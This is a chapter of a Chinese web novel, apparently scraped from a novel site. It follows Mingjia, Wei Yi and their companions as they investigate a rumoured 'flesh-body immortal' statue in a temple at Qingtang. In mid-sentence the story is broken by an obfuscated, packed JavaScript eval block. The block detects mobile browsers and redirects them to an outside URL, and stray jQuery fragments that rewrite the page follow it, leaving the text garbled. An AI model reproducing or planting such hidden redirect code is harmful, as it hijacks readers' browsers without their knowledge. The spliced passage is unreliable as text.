默认冷灰
24号文字
方正启体

106. 仙人庙(一)

作者:水蘅一本书字数:K更新时间:
    出了宫,张楚林在马车里一直在品味那一句,“我不想辜负了他。”一不小心还说出声。


    明嘉看着张楚林,忍不住叹气,“柳嫂嫂如果在这里,一定可以帮我管管你的,这样你就不会总是笑话我了。”


    张楚林想到自家夫人,便住了嘴,她若是在,定是少不了站在明嘉那一方,数落自己一番。


    “我也有一年未见我的夫人了,甚是想她啊。”


    明嘉一行回到洞福客栈,看到客栈里订的宿房空无一人,想着魏熤定是出去查探线索了,明嘉转头看向六驳,“你去找魏熤吧,他一个人查案并不简单,有你在要轻松很多,我和楚林会待在客栈的,你不用担心。”


    张楚林缩在火炉旁边,摊着手烤着火,“对对对,你放心,这么冷的天,我们不会离开半步的。”


    “明姑娘,那我去找公子了。”六驳也是担心公子的,护在公子身边总是要安心许多。


    明嘉点头。


    到了夜间,魏熤和六驳带着风雪进了小馆,明嘉走过去接了魏熤的斗篷,挂在了一角。


    张楚林递上热茶,“葡萄美酒的事查得怎么样?”


    “查到了,自从我拜访青唐主君的消息传遍王宫,暗探就发现有一行酒商是西夏党项人,眼下,这一车的酒已经出了青唐城,在去往西夏的路上了,刚刚我已经去告诉阿里骨这支商队的消息了。”


    “我想最迟后日,就可以知道李掌柜的消息了。”


    明嘉安静坐着,手里捧着热茶,看着滋生的炉火,“终于,我们只要静候,再静候。”


    明嘉停了一会,继续说道,“就能看到那个人的结局。”


    “是啊,终于,我们能为汴京城里那些因他无辜丧命的百姓要一个交代了。”


    这时,小馆里人人都在传言,“听说了吗?那仙人庙里的坐仙原是肉身坐仙。”


    坐仙?肉身?仙就是仙,人就是人,仙都不吃肉,怎么会有肉身呢?六驳听不明白,转头问左边的一向闯荡江湖的张楚林,“什么是肉身坐仙啊?”


    “六驳,这你都未听说过?就是说啊,这个坐仙原也是一个凡人,后得道成仙,他羽化乘风而登天去,他的肉身就留在了凡间,前人见其慈态,于是以漆金或以泥塑,为其建庙燃香。后人人朝之供拜,望之护佑。”


    “是这样啊,那他们是如何得知这个坐仙是□□真身的呢?”


    魏熤饮完一口热茶,不紧不慢地说道,“应当是这些日子太冷了,香客们去朝供,白日里自是要供着炉火,到了夜里,人丁寥落,陷入寒寂,如此反复,这泥塑的坐仙自是抵不住,想必是泥胚掉落,露出了肉体凡胎。”


    “对对对,”那谈论着小道消息的一伙人凑了过来,“这个兄弟说得对。是这位坐仙的手指和脚趾处的泥胚都掉了,里面的白骨呀,都露出来了。”


    明嘉一听到白骨二字,双手捧着的冒着热气的茶盏都顿住了,她觉得瘆得慌。


    魏熤顺手就将明嘉手中的茶盏接了下来,担心她烫着。


    “那问一下小兄弟,这个仙人庙的坐仙可有名号,这仙人庙又是什么时候有的。”


    六驳立刻就站了起来,将这位陌生面孔的热心人请过来坐上了他的位置,而后又倒上了茶。


    热心人喝了一口茶之后,就开始说起这段往事,“你啊,算是问对了人,这仙人庙啊,原先也只是一个破庙,那些拿着弓箭出去猎狼的猎手们就常常歇在那里,这其中呢,也有我。”热心人扒拉开左手的毛绒袖口,露出狰狞的牙口疤痕。“你们,这就是我前几年被一头母狼给咬的。小狼的肉又嫩又鲜美,好吃地很,可这母狼护子,也是难抓地很。”


    这热心人话也忒多了,扯东扯西的,张楚林也是一个大热络的人,帮着热心人把袖子拉了回来,“大哥,还是想听你说说这仙人庙的事。”


    “好嘞,这破庙里面呢,什么都没有,就一张桌子,桌子上摆着一个香炉,香炉里有几根残缺落满灰烬的香烛,一个破庙,一个祭拜的守护神都没有。不说石像呢,一个壁画、一幅卷轴都没有。”


    “总不可能是它长了腿跑了,现如今又回来了吧。”六驳在一侧猜着他都不信的事。


    明嘉说道,“许是经年累战,政权更替,外来者入盗、内乱者自毁,都有可能使得这原先庙里供奉的庙仙不知所踪。”


    “咱不说这原先的供仙去了哪里,咱就说说这位坐仙是怎么来的,说来诸位别不信,就是这么神奇,过了一个月黑风高夜,这位坐仙就悄悄地住下来。”


    “就这?”


    “对啊,我前一日路过那座庙,还没有,还是空的,第二日晨时去打猎,诶,就有了,一个坐仙,两个童子。坐仙靠着墙盘腿而坐,一左一右护仙童子立在坐仙身边。起初一夜之间来了这么一位不知名的,大家都不敢到庙里面去,都避之而不及,可这夜里难免会有猎人留宿仙人庙,就有些猎人害怕触霉头,随身带着香烛祭拜这位坐仙,后来啊,这些猎人回来时都收获颇丰,一传十,十传百,坐仙的声誉就这样发扬了起来,就有越来越多的香客来拜奉,大家都说这位坐仙“灵”,要我看呐,这许愿的人多了,总有人愿成,大家才觉着是坐仙的功劳大,不过呢,王宫里也都注意到了这个仙人庙,于是也开始修建仙人庙,这金钱的力量已使得这座庙是从前的五倍大了。”


    “说了这么久,还是不知道这位坐仙的名号。”


    “我们啊,都不敢乱取名,就让青唐王宫里的贵人来取,是那位青唐王的亲世子蔺逋叱来取的名,他出生高贵,和我们不同,哪怕是仙人不开心了,也不会对王室的人怎么样,这位世子就给取了个名号叫做‘破天仙者’。”


    “破天?这是什么意思?”张楚林再见多识广,也没听说过什么破天,“茶盏破了会漏水,屋子破了会漏雨,天破了会掉神仙吗?”


    “这位兄弟说笑了。”


    “破天,看破上旨天意、凡尘俗事?”明嘉也不解地猜议着。


    “还是这位小娘子说得贴切一些。这位破天仙者,诸位可不要小看,有好些人拜了仙者,回家就入了梦,更有甚者在庙里就见到了自己想见的故亲。”


    “楚林,可有兴致,我们一同去这位仙人庙里拜拜这位仙人。”听完青唐人的话,魏熤觉得这座仙人庙越来越可疑。


    “正有此意,走,我们现在就去。”


    四人一行到了仙人庙,魏熤将六驳留在了庙外,并告知六驳,若他们半个时辰后还未出来,定是遇到麻烦了,到那时就需要他进庙解救。


    进了庙会,三人走进供奉破天仙者的庙殿,魏熤是最后一个进去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359842|199741||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的,他转身小心翼翼地将殿门关上。


    庙殿里烛火通明,犹有赤轮高照,与白日里相比,少了一些喧闹的声音罢。


    明嘉借着满屋子的烛光看得清清楚楚,仙者坐态端正,两手掌心向上扶靠在两膝骨之上,起初她以为这仙人庙供奉着的不过是一个黄泥敷涂一层又一层的陶像,如今一见,都不得不为之惊叹之,其色彩纷杂,斑斓有致,尤其是那仙人头,乌黑的面孔,眉毛紧皱高挑,眉间开着第三只眼睛,眼神傲慢,其形态如孔雀羽,浅浅孔雀绿的眼睫藏在黑色里却格外显著,白色的眼眶里有凶煞的黑眼珠,朱红色的嘴唇紧闭,嘴唇两边两溜胡须一撇一捺,红唇下也有一撮胡须。


    明嘉靠近仔细瞧着,能看到整个面容雕刻的纹理,难不成这是后人雕塑的。再看一看,这头上还戴着黑冠,黑冠四周皆有镶着金边的祥云尖角,五彩宝石——青光石、月光石、红玛瑙、孔雀石、黄蜜蜡镶嵌冠边,仙者身上穿着五彩锦服,双肩和双臂间挂着绿飘带。


    明嘉看得细致,又瞧了他的手与脚,果然已露出白骨,与黑色的泥肤相衬显得格外注目。


    仙者两旁站着的两个童子也是绘声绘色的,一个额头只有头顶有一小撮头发,身着靛蓝色的肩披和青色的罩裤,衣服上皆有纹饰,如彼岸花如祥云,腰间挂着宝石腰带,怀里抱着一个纹着露着獠牙兽眼的人面陶罐,陶罐上的罐口被封了,也看不出来里头是空心的还是实心的;另一个额头上有三撮发髻,身着红衣红褂,挂着飘逸的彩带,怀里抱着染着红漆檀木做的鲤鱼,身上戴着许多五彩的串珠,且手脚处都挂着嵌着宝石的金圈。


    明嘉总觉着这两个童子显得有些不和谐,这左边的童子抱着金锭银锭的元宝才合理,怎的抱着个罐子,还是陶罐。


    明嘉离坐仙最近,她总觉着自己像是闻到了一股香气,是掩在香烛燃烧产生的檀香下的香气,她说不出来是什么。


    魏熤抬头瞧着庙殿的结构,庙殿里有四个红柱,红柱上皆绘有五彩的邪面圣像,两侧是由厚实的麻布制成的五彩经幡,蓝、白、红、绿、黄的经幅接连成串从房梁上垂落至下,庙殿里有许多涂满花纹的小钟,小钟与小钟用五彩绳接连在一起,魏熤注意到这些应当是哑钟,屋外的冬风很大,但在他们将殿门打开之时,却并未听到钟声响起,不然,如此多的小钟,定然如流动的溪水与山涧里的石头相击般响个不停,定会引得守庙人走出来看一看。


    魏熤注意到明嘉不解的神情,走到她身边,“有何不妥吗?”


    明嘉仰着头看着这座神像,“我总觉得有一种奇怪的味道,像是摄人心魂的香气,促使我想要用力地去吸取,怎么闻都闻不够,好似有一种将寻常人都幻变成了贪婪饕餮的巫力。”


    张楚林仔细地瞧着着庙殿里的五彩经幡,看着那些看不懂密密麻麻的经文发呆,内心也不由得升起一股朝圣的吸引力,“你们说,我们要不要拜一拜这位破天仙者,说不定祈愿是真有用了呢?”


    明嘉盯着神像的眼睛,说道,“我们三人本就是不信神佛之人,若真拜了,而心不虔诚,反而惹得老人家怒目圆睁,岂不是得不偿失。”


    “说得也对。对了,你们刚刚说什么来着,什么气味?”张楚林凑到经幡面前,闻了闻,“没什么味道啊,只是一些布料发旧的味道。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)